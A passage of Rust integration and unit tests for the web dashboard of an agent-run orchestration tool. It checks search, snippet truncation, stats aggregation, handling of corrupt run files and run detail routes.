10093 .is_some_and(|e| e.contains("read-only file system")),
10094 "the phone is where a loop that died at 3am is visible: {view}"
10095 );
10096
10097 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10100 assert_eq!(again.status, 200, "{}", again.body);
10101 assert_eq!(
10102 again.json()["last_error"],
10103 Value::Null,
10104 "a fresh start does not keep showing why the last one died"
10105 );
10106 }
10107
10108 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10120 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10121 let home = TempDir::new().expect("temp home");
10122 let runs = home.path().join("runs");
10123 std::fs::create_dir_all(&runs).expect("runs dir");
10124 let ui = Ui::new(
10125 Queue::at(home.path().join("queue")),
10126 Questions::at(home.path().join("questions")),
10127 Talks::at(home.path().join("talks")),
10128 runs,
10129 home.path().to_path_buf(),
10130 PathBuf::from("/repo/magi"),
10131 )
10132 .with_worktrees_root(home.path().join("wt"))
10133 .with_launch(launch_knocking_on_the_way_out);
10134 let looping = ui.looping();
10135 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10136 .await
10137 .expect("bind loopback");
10138 let addr = listener.local_addr().expect("local addr");
10139 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10140 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10141
10142 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10143 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10144
10145 let bound = std::sync::Mutex::new(None);
10160 hand_over(home.path(), &looping, served, |_| {
10161 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10162 let attempt = loop {
10163 match std::net::TcpListener::bind(addr) {
10164 Ok(l) => {
10165 drop(l);
10166 break Ok(());
10167 }
10168 Err(e)
10169 if e.kind() == std::io::ErrorKind::AddrInUse
10170 && std::time::Instant::now() < deadline =>
10171 {
10172 std::thread::sleep(std::time::Duration::from_millis(10));
10173 }
10174 Err(e) => break Err(e.to_string()),
10175 }
10176 };
10177 *bound.lock().expect("bound") = Some(attempt);
10178 Ok(1)
10179 })
10180 .await
10181 .expect("hand over");
10182
10183 assert_eq!(
10184 *PARK_HEARD.lock().expect("park heard"),
10185 Some(200),
10186 "the deck must answer while the loop is parking"
10187 );
10188 let attempt = bound
10189 .lock()
10190 .expect("bound")
10191 .take()
10192 .expect("the successor was started");
10193 assert!(
10194 attempt.is_ok(),
10195 "and the address must be free by the time it is: {attempt:?}"
10196 );
10197 }
10198
10199 #[tokio::test]
10200 async fn a_newer_daemon_status_file_still_renders() {
10201 let f = Fixture::start().await;
10202 std::fs::write(
10205 f.home.path().join("daemon.json"),
10206 serde_json::json!({
10207 "schema": 2,
10208 "updated_at": Timestamp::now().to_string(),
10209 "idle": true,
10210 "surprise": { "nested": [1, 2, 3] },
10211 })
10212 .to_string(),
10213 )
10214 .expect("write daemon.json");
10215
10216 let health = f.get("/api/health").await;
10217
10218 assert_eq!(health.status, 200);
10219 assert_eq!(health.json()["daemon"]["running"], true);
10220 }
10221
10222 #[tokio::test]
10223 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10224 let f = Fixture::start().await;
10225 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10226 let broken = f.runs().join("20260902-140502-bad");
10227 std::fs::create_dir_all(&broken).expect("run dir");
10228 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10229
10230 let list = f.get("/api/runs").await;
10231 let detail = f.get("/api/runs/20260902-140502-bad").await;
10232
10233 assert_eq!(list.status, 200);
10234 let listed = list.json();
10235 let ids: Vec<&str> = listed
10236 .as_array()
10237 .expect("an array")
10238 .iter()
10239 .map(|r| r["id"].as_str().expect("an id"))
10240 .collect();
10241 assert_eq!(
10242 ids,
10243 vec!["20260902-140501-good"],
10244 "one unreadable run must not cost the operator the whole history"
10245 );
10246 assert_eq!(detail.status, 500);
10247 assert!(
10248 detail.json()["error"]
10249 .as_str()
10250 .is_some_and(|e| e.contains("run.json")),
10251 "the failure names the file to look at: {}",
10252 detail.body
10253 );
10254 let health = f.get("/api/health").await;
10258 assert_eq!(health.json()["runs_unreadable"], 1);
10259 }
10260
10261 #[tokio::test]
10263 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10264 let f = Fixture::start().await;
10265 let runs = f.runs();
10266 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10267 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10268 let path = runs.join("20260902-140502-bbbb").join("run.json");
10271 let mut v: serde_json::Value =
10272 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10273 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10274 std::fs::write(&path, v.to_string()).unwrap();
10275 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10276 std::fs::write(
10277 runs.join("20260902-140503-cccc").join("run.json"),
10278 "{ not json",
10279 )
10280 .unwrap();
10281
10282 let res = f.get("/api/search?scope=runs&q=quokka").await;
10283 assert_eq!(res.status, 200, "{}", res.body);
10284 let v = res.json();
10285 assert_eq!(v["total"], 1, "{v}");
10286 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10287 assert_eq!(v["hits"][0]["field"], "text");
10288 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10289 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10290 assert!(
10291 parts
10292 .iter()
10293 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10294 "{v}"
10295 );
10296 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10297 assert_eq!(
10298 flat, "The Quokka leaks across threads",
10299 "whitespace is collapsed"
10300 );
10301
10302 let both = f
10304 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10305 .await
10306 .json();
10307 assert_eq!(both["total"], 1, "{both}");
10308 let neither = f
10309 .get("/api/search?scope=runs&q=quokka%20zebra")
10310 .await
10311 .json();
10312 assert_eq!(neither["total"], 0, "{neither}");
10313 let stmt = f
10315 .get("/api/search?scope=runs&q=mobile%20first")
10316 .await
10317 .json();
10318 assert_eq!(stmt["total"], 2, "{stmt}");
10319 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10320 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10321 }
10322
10323 #[test]
10324 fn snippet_ignores_terms_longer_than_the_field() {
10325 let terms = ["ok".to_owned(), "elephant".to_owned()];
10326 let parts = snippet_of("ok", &terms);
10327 assert_eq!(
10328 parts,
10329 vec![SnippetPart {
10330 text: "ok".to_owned(),
10331 hit: true
10332 }]
10333 );
10334 }
10335
10336 #[test]
10337 fn snippet_marks_matches_longer_than_the_window() {
10338 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10339 let hit_len = |parts: &[SnippetPart]| -> usize {
10340 parts
10341 .iter()
10342 .filter(|p| p.hit)
10343 .map(|p| p.text.chars().count())
10344 .sum()
10345 };
10346 let total =
10347 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10348
10349 let long = "a".repeat(120);
10350 let parts = snippet_of(&long, std::slice::from_ref(&long));
10351 assert!(hit_len(&parts) > 0, "{parts:?}");
10352 assert!(total(&parts) <= cap);
10353
10354 let ja = "あ".repeat(130);
10355 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10356 assert!(hit_len(&parts) > 0, "{parts:?}");
10357 assert!(total(&parts) <= cap);
10358
10359 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10361 let term = format!("ab{}", "c".repeat(100));
10362 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10363 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10364 assert!(total(&parts) <= cap);
10365
10366 let text = format!("{}z", "a".repeat(119));
10368 let parts = snippet_of(&text, &["a".repeat(120)]);
10369 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10370 }
10371
10372 #[tokio::test]
10373 async fn search_caps_hits_and_snippet_length() {
10374 let f = Fixture::start().await;
10375 let runs = f.runs();
10376 for n in 0..(SEARCH_MAX_HITS + 5) {
10377 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10378 }
10379 let v = f.get("/api/search?scope=runs&q=web").await.json();
10380 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10381 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10382 assert_eq!(v["truncated"], true);
10383 assert!(
10385 v["hits"]
10386 .as_array()
10387 .unwrap()
10388 .iter()
10389 .all(|h| h["run"]["status"] == "merged")
10390 );
10391
10392 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10393 let parts = snippet_of(&long, &["needle".to_owned()]);
10394 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10395 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10396 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10397 }
10398
10399 #[tokio::test]
10400 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10401 let f = Fixture::start().await;
10402 let queue = f.queue();
10403 let mut t = Task::new(
10404 "short title".to_owned(),
10405 "line one\nthe hidden Armadillo detail".to_owned(),
10406 PathBuf::from("/repo/magi"),
10407 Source::Agent {
10408 run: "r1".to_owned(),
10409 node: "chat".to_owned(),
10410 },
10411 );
10412 t.last_error = Some("disk full on /tmp".to_owned());
10413 queue.put(&mut t).expect("file the task");
10414
10415 for (q, want) in [
10416 ("armadillo", 1),
10417 ("disk%20FULL", 1),
10418 ("chat", 1),
10419 ("queued", 1),
10420 ("short%20nothing", 0),
10421 ] {
10422 let v = f
10423 .get(&format!("/api/search?scope=tasks&q={q}"))
10424 .await
10425 .json();
10426 assert_eq!(v["total"], want, "{q}: {v}");
10427 }
10428 for bad in [
10429 "/api/search?scope=tasks&q=",
10430 "/api/search?scope=tasks&q=%20",
10431 "/api/search?scope=chats&q=",
10432 "/api/search?scope=chats&q=%20",
10433 "/api/search?scope=nope&q=a",
10434 "/api/search?q=a",
10435 ] {
10436 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10437 }
10438 }
10439
10440 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10442 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10443 .expect("seat value");
10444 let turns: Vec<serde_json::Value> = turns
10445 .iter()
10446 .map(|(who, body)| {
10447 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10448 })
10449 .collect();
10450 let doc = serde_json::json!({
10451 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10452 "status": status, "turns": turns,
10453 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10454 "seat": seat,
10455 });
10456 let dir = f.home.path().join("talks");
10457 std::fs::create_dir_all(&dir).expect("talks dir");
10458 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10459 }
10460
10461 #[tokio::test]
10462 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10463 let f = Fixture::start().await;
10464 write_talk(
10465 &f,
10466 "20260901-000001-aaaa",
10467 "open",
10468 &[
10469 (
10470 "operator",
10471 "\n Why does the Pangolin cache expire?\nsecond line",
10472 ),
10473 ("agent", "Because the TTL is thirty seconds."),
10474 ],
10475 );
10476 write_talk(
10477 &f,
10478 "20260901-000002-bbbb",
10479 "closed",
10480 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10481 );
10482 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10483
10484 let search = |q: &'static str| {
10485 let f = &f;
10486 async move {
10487 f.get(&format!("/api/search?scope=chats&q={q}"))
10488 .await
10489 .json()
10490 }
10491 };
10492
10493 let v = search("PANGOLIN").await;
10494 assert_eq!(v["scope"], "chats");
10495 assert_eq!(v["total"], 1, "{v}");
10496 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10497 assert_eq!(v["hits"][0]["field"], "title");
10498 assert_eq!(v["unreadable"], 1, "{v}");
10499 let marked: Vec<&str> = v["hits"][0]["snippet"]
10500 .as_array()
10501 .unwrap()
10502 .iter()
10503 .filter(|p| p["hit"] == true)
10504 .map(|p| p["text"].as_str().unwrap())
10505 .collect();
10506 assert_eq!(marked, ["Pangolin"]);
10507
10508 let v = search("zebra").await;
10510 assert_eq!(v["total"], 1, "{v}");
10511 assert_eq!(v["hits"][0]["field"], "agent");
10512 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10514 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10515 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10517 assert_eq!(search(q).await["total"], 0, "{q}");
10518 }
10519 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10521 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10523
10524 let v = f.get("/api/search?scope=nope&q=a").await;
10525 assert_eq!(v.status, 400);
10526 assert!(
10527 v.body.contains("scope must be runs, tasks or chats"),
10528 "{}",
10529 v.body
10530 );
10531 }
10532
10533 #[test]
10534 fn a_question_card_links_a_task_id_to_the_task_page() {
10535 let start = APP_JS
10536 .find("function updateAskCard(")
10537 .expect("updateAskCard exists");
10538 let body = &APP_JS[start..];
10539 let body = &body[..body.find("\n}\n").expect("function end")];
10540 assert!(body.contains("question.run_is_task"));
10541 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10542 assert!(body.contains("`#/runs/${question.run}`"));
10543 assert!(body.contains("\"task\" : \"run\""));
10544 }
10545
10546 #[test]
10547 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10548 let start = APP_JS
10549 .find("function scheduleSearch(")
10550 .expect("scheduleSearch exists");
10551 let body = &APP_JS[start..];
10552 let body = &body[..body.find("\n}\n").expect("function end")];
10553 assert!(body.contains("s.seq += 1"));
10554 }
10555
10556 #[tokio::test]
10561 async fn stats_runs_unreadable_matches_health() {
10562 let f = Fixture::start().await;
10563 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10564 let broken = f.runs().join("20260902-140502-bad");
10565 std::fs::create_dir_all(&broken).expect("run dir");
10566 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10567
10568 let stats = f.get("/api/stats").await;
10569 let health = f.get("/api/health").await;
10570
10571 assert_eq!(stats.status, 200);
10572 assert_eq!(stats.json()["totals"]["runs"], 1);
10573 assert_eq!(stats.json()["runs_unreadable"], 1);
10574 assert_eq!(
10575 stats.json()["runs_unreadable"],
10576 health.json()["runs_unreadable"],
10577 "the dashboard and /api/health must never disagree about how many \
10578 runs could not be read"
10579 );
10580 }
10581
10582 #[tokio::test]
10583 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10584 let f = Fixture::start().await;
10585 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10586 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10587 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10588
10589 let totals = &f.get("/api/stats").await.json()["totals"];
10590 assert_eq!(totals["runs"], 3);
10591 assert_eq!(totals["merged"], 1);
10592 assert_eq!(totals["stalled"], 1);
10593 assert_eq!(totals["in_progress"], 1);
10594 assert_eq!(totals["blocked"], 0);
10597 assert_eq!(totals["ready"], 0);
10598 }
10599
10600 #[tokio::test]
10601 async fn stats_advisors_report_proposals_and_reflection() {
10602 use crate::advise::{Advice, AdvisorRecord, Reflection};
10603 use crate::verdict::Proposal;
10604
10605 let f = Fixture::start().await;
10606 let mut state = RunState::new(
10607 PathBuf::from("/repo/magi"),
10608 "main".to_owned(),
10609 "0123456789abcdef".to_owned(),
10610 "task".to_owned(),
10611 Config::default(),
10612 );
10613 state.id = "20260902-140501-a".to_owned();
10614 state.status = RunStatus::Merged;
10615 state.advice = Some(Advice {
10616 records: vec![
10617 AdvisorRecord {
10618 seat: "advisor-1".to_owned(),
10619 agent: "alpha".to_owned(),
10620 proposal: Some(Proposal {
10621 approach: "do it".to_owned(),
10622 key_tradeoff: "speed over memory".to_owned(),
10623 risks: Vec::new(),
10624 touches: Vec::new(),
10625 why_not_naive: "breaks under load".to_owned(),
10626 }),
10627 error: None,
10628 duration_ms: 0,
10629 reflection: Reflection::Strong,
10630 },
10631 AdvisorRecord {
10632 seat: "advisor-2".to_owned(),
10633 agent: "alpha".to_owned(),
10634 proposal: None,
10635 error: Some("timed out".to_owned()),
10636 duration_ms: 0,
10637 reflection: Reflection::Absent,
10638 },
10639 ],
10640 synthesis: Some("blended brief".to_owned()),
10641 });
10642 let dir = f.runs().join(&state.id);
10643 std::fs::create_dir_all(&dir).expect("run dir");
10644 std::fs::write(
10645 dir.join("run.json"),
10646 serde_json::to_string_pretty(&state).expect("serialize run"),
10647 )
10648 .expect("write run.json");
10649
10650 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10651 let alpha = advisors
10652 .as_array()
10653 .expect("an array")
10654 .iter()
10655 .find(|a| a["agent"] == "alpha")
10656 .expect("alpha row");
10657 assert_eq!(alpha["seated"], 2);
10658 assert_eq!(alpha["proposed"], 1);
10659 assert_eq!(alpha["absent"], 1);
10660 assert_eq!(alpha["strong"], 1);
10661 assert_eq!(alpha["faint"], 0);
10662 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10663 }
10664
10665 #[tokio::test]
10666 async fn stats_release_bumps_split_clean_from_attention() {
10667 use crate::run::ReleaseBump;
10668
10669 let f = Fixture::start().await;
10670
10671 let mut clean = RunState::new(
10672 PathBuf::from("/repo/magi"),
10673 "main".to_owned(),
10674 "0123456789abcdef".to_owned(),
10675 "task".to_owned(),
10676 Config::default(),
10677 );
10678 clean.id = "20260902-140501-a".to_owned();
10679 clean.status = RunStatus::Merged;
10680 clean.release_bump = Some(ReleaseBump {
10681 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10682 version: Some("1.0.0".to_owned()),
10683 automerge_enabled: true,
10684 merged_directly: false,
10685 local: false,
10686 release: None,
10687 problem: None,
10688 action_required: None,
10689 });
10690
10691 let mut blocked = RunState::new(
10692 PathBuf::from("/repo/magi"),
10693 "main".to_owned(),
10694 "0123456789abcdef".to_owned(),
10695 "task".to_owned(),
10696 Config::default(),
10697 );
10698 blocked.id = "20260902-140502-b".to_owned();
10699 blocked.status = RunStatus::Merged;
10700 blocked.release_bump = Some(ReleaseBump {
10701 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10702 version: Some("1.0.1".to_owned()),
10703 automerge_enabled: false,
10704 merged_directly: false,
10705 local: false,
10706 release: None,
10707 problem: Some("checks red".to_owned()),
10708 action_required: Some("look at the PR".to_owned()),
10709 });
10710
10711 for state in [&clean, &blocked] {
10712 let dir = f.runs().join(&state.id);
10713 std::fs::create_dir_all(&dir).expect("run dir");
10714 std::fs::write(
10715 dir.join("run.json"),
10716 serde_json::to_string_pretty(state).expect("serialize run"),
10717 )
10718 .expect("write run.json");
10719 }
10720
10721 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10722 assert_eq!(bumps["merged"], 2);
10723 assert_eq!(bumps["recorded"], 2);
10724 assert_eq!(bumps["pr_opened"], 2);
10725 assert_eq!(bumps["automerge_enabled"], 1);
10726 assert_eq!(bumps["needs_attention"], 1);
10727 assert_eq!(bumps["clean"], 1);
10728 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10729 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10730 }
10731
10732 #[tokio::test]
10733 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10734 let f = Fixture::start().await;
10735 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10736
10737 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10738 assert_eq!(bumps["merged"], 1);
10739 assert_eq!(bumps["recorded"], 0);
10740 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10743 assert_eq!(bumps["automerge_rate"], Value::Null);
10746 assert_eq!(bumps["attention_rate"], Value::Null);
10747 }
10748
10749 #[tokio::test]
10750 async fn stats_queue_counts_come_from_the_live_queue() {
10751 let f = Fixture::start().await;
10752 let q = f.queue();
10753 let mut queued = Task::new(
10754 "queued task".to_owned(),
10755 "do it".to_owned(),
10756 PathBuf::from("/repo"),
10757 Source::Human,
10758 );
10759 q.put(&mut queued).expect("put queued");
10760 let mut held = Task::new(
10761 "held task".to_owned(),
10762 "do it later".to_owned(),
10763 PathBuf::from("/repo"),
10764 Source::Human,
10765 );
10766 held.hold_machine(Some("out of attempts".to_owned()));
10767 q.put(&mut held).expect("put held");
10768
10769 let queue = f.get("/api/stats").await.json()["queue"].clone();
10770 assert_eq!(queue["queued"], 1);
10771 assert_eq!(queue["held"], 1);
10772 assert_eq!(queue["running"], 0);
10773 assert_eq!(queue["done"], 0);
10774 assert_eq!(queue["failed"], 0);
10775 assert_eq!(queue["blocked"], 0);
10776 }
10777
10778 #[tokio::test]
10779 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10780 let f = Fixture::start().await;
10781 let stats = f.get("/api/stats").await;
10782 assert_eq!(stats.status, 200);
10783 assert_eq!(stats.json()["totals"]["runs"], 0);
10784 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10785 assert_eq!(stats.json()["runs_unreadable"], 0);
10786 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10787 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10788 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10789 assert_eq!(stats.json()["repo"], Value::Null);
10790 }
10791
10792 #[tokio::test]
10793 async fn stats_lists_every_repository_with_runs_recorded() {
10794 let f = Fixture::start().await;
10795 write_run_repo(
10796 &f.runs(),
10797 "20260902-140501-a",
10798 RunStatus::Merged,
10799 "/repos/a",
10800 );
10801 write_run_repo(
10802 &f.runs(),
10803 "20260902-140502-b",
10804 RunStatus::Merged,
10805 "/repos/a",
10806 );
10807 write_run_repo(
10808 &f.runs(),
10809 "20260902-140503-c",
10810 RunStatus::Blocked,
10811 "/repos/b",
10812 );
10813
10814 let stats = f.get("/api/stats").await;
10815 assert_eq!(stats.status, 200);
10816 assert_eq!(stats.json()["totals"]["runs"], 3);
10818 assert_eq!(stats.json()["repo"], Value::Null);
10819
10820 let repos = stats.json()["repos"].clone();
10821 let repos = repos.as_array().unwrap();
10822 assert_eq!(repos.len(), 2);
10823 assert_eq!(repos[0]["repo"], "/repos/a");
10825 assert_eq!(repos[0]["name"], "a");
10826 assert_eq!(repos[0]["runs"], 2);
10827 assert_eq!(repos[1]["repo"], "/repos/b");
10828 assert_eq!(repos[1]["runs"], 1);
10829 }
10830
10831 #[tokio::test]
10832 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10833 let f = Fixture::start().await;
10834 write_run_repo(
10835 &f.runs(),
10836 "20260902-140501-a",
10837 RunStatus::Merged,
10838 "/repos/a",
10839 );
10840 write_run_repo(
10841 &f.runs(),
10842 "20260902-140502-b",
10843 RunStatus::Blocked,
10844 "/repos/b",
10845 );
10846
10847 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10848 assert_eq!(stats.status, 200);
10849 assert_eq!(stats.json()["totals"]["runs"], 1);
10850 assert_eq!(stats.json()["totals"]["merged"], 1);
10851 assert_eq!(stats.json()["repo"], "/repos/a");
10852 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10855 assert_eq!(stats.json()["runs_unreadable"], 0);
10858 }
10859
10860 #[tokio::test]
10861 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10862 let f = Fixture::start().await;
10863 write_run_repo(
10864 &f.runs(),
10865 "20260902-140501-a",
10866 RunStatus::Merged,
10867 "/repos/a",
10868 );
10869
10870 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10871 assert_eq!(stats.status, 404);
10872 }
10873
10874 #[tokio::test]
10875 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10876 let f = Fixture::start().await;
10877 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10878
10879 let summary = f.get("/api/runs").await.json();
10880 let row = &summary[0];
10881 assert_eq!(row["short"], "a1b2");
10882 assert_eq!(row["status"], "ready");
10883 assert_eq!(row["done"], true);
10884 assert_eq!(row["title"], "Add a web UI");
10885 assert_eq!(row["repo_name"], "magi");
10886 assert_eq!(row["judges"], 3);
10887 assert_eq!(row["winner"], Value::Null);
10888 assert_eq!(row["reviews"], 0);
10889
10890 let detail = f.get("/api/runs/a1b2").await;
10893 assert_eq!(detail.status, 200);
10894 assert_eq!(detail.json()["base_branch"], "main");
10895 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10896 }
10897
10898 #[tokio::test]
10906 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10907 let f = Fixture::start().await;
10908
10909 let mut none_run = RunState::new(
10910 PathBuf::from("/repo/magi"),
10911 "main".to_owned(),
10912 "0123456789abcdef".to_owned(),
10913 "Add a web UI".to_owned(),
10914 Config::default(),
10915 );
10916 none_run.id = "20260902-140503-none".to_owned();
10917 none_run.status = RunStatus::Ready;
10918 none_run.merge = Some(crate::run::MergeOutcome {
10919 mode: crate::config::MergeMode::None,
10920 ok: true,
10921 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10922 empty: false,
10923 });
10924 write_state(&f.runs(), &none_run);
10925
10926 let mut pr_run = RunState::new(
10927 PathBuf::from("/repo/magi"),
10928 "main".to_owned(),
10929 "0123456789abcdef".to_owned(),
10930 "Add a web UI".to_owned(),
10931 Config::default(),
10932 );
10933 pr_run.id = "20260902-140504-prcl".to_owned();
10934 pr_run.status = RunStatus::Ready;
10935 pr_run.merge = Some(crate::run::MergeOutcome {
10936 mode: crate::config::MergeMode::Pr,
10937 ok: false,
10938 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10939 empty: false,
10940 });
10941 write_state(&f.runs(), &pr_run);
10942
10943 let summary = f.get("/api/runs").await.json();
10944 let rows: std::collections::HashMap<&str, &Value> = summary
10945 .as_array()
10946 .expect("an array")
10947 .iter()
10948 .map(|r| (r["id"].as_str().expect("an id"), r))
10949 .collect();
10950 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10951 assert_eq!(
10952 rows[none_run.id.as_str()]["unmerged_by_design"],
10953 true,
10954 "a mode-none Ready must be flagged in the list"
10955 );
10956 assert_eq!(
10957 rows[pr_run.id.as_str()]["unmerged_by_design"],
10958 false,
10959 "a Ready reached by a closed pull request is a different case"
10960 );
10961
10962 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10963 assert_eq!(none_detail["status"], "ready");
10964 assert_eq!(none_detail["unmerged_by_design"], true);
10965
10966 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10967 assert_eq!(pr_detail["unmerged_by_design"], false);
10968 }
10969
10970 #[tokio::test]
10975 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10976 let f = Fixture::start().await;
10977 let id = "20260902-140502-bbbb";
10981 let mut state = RunState::new(
10982 PathBuf::from("/repo/magi"),
10983 "main".to_owned(),
10984 "0123456789abcdef".to_owned(),
10985 "Add a web UI".to_owned(),
10986 Config::default(),
10987 );
10988 state.id = id.to_owned();
10989 state.status = RunStatus::Judging;
10990 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10991 let dir = f.runs().join(id);
10992 std::fs::create_dir_all(&dir).expect("run dir");
10993 std::fs::write(
10994 dir.join("run.json"),
10995 serde_json::to_string_pretty(&state).expect("serialize run"),
10996 )
10997 .expect("write run.json");
10998
10999 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11005 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11006 assert_eq!(cold["live"], "unknown", "{cold}");
11007
11008 write_daemon(f.home.path(), Timestamp::now());
11011 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11012 assert_eq!(warm["live"], "live", "{warm}");
11013 }
11014
11015 #[tokio::test]
11018 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11019 let f = Fixture::start().await;
11020 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11021 let mut state = RunState::new(
11022 PathBuf::from("/repo/magi"),
11023 "main".to_owned(),
11024 "0123456789abcdef".to_owned(),
11025 "Add a web UI".to_owned(),
11026 Config::default(),
11027 );
11028 state.id = id.to_owned();
11029 state.origin = origin;
11030 let mut value = serde_json::to_value(&state).expect("serialize run");
11031 if let Some(schema) = schema {
11032 value["schema"] = serde_json::json!(schema);
11033 value.as_object_mut().unwrap().remove("origin");
11034 }
11035 let dir = f.runs().join(id);
11036 std::fs::create_dir_all(&dir).expect("run dir");
11037 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11038 };
11039 write(
11040 "20260930-092817-ec34",
11041 Some(crate::run::Origin::from_agent_env(
11042 Some(("4a7b".to_owned(), "chat".to_owned())),
11043 None,
11044 )),
11045 None,
11046 );
11047 write("20260930-092817-0ld1", None, Some(12));
11048
11049 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11050 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11051 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11052
11053 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11054 assert_eq!(
11055 old["origin_label"], "origin unknown (started before origins were recorded)",
11056 "{old}"
11057 );
11058 assert!(old["origin"].is_null(), "{old}");
11059
11060 let list = f.get("/api/runs").await.json();
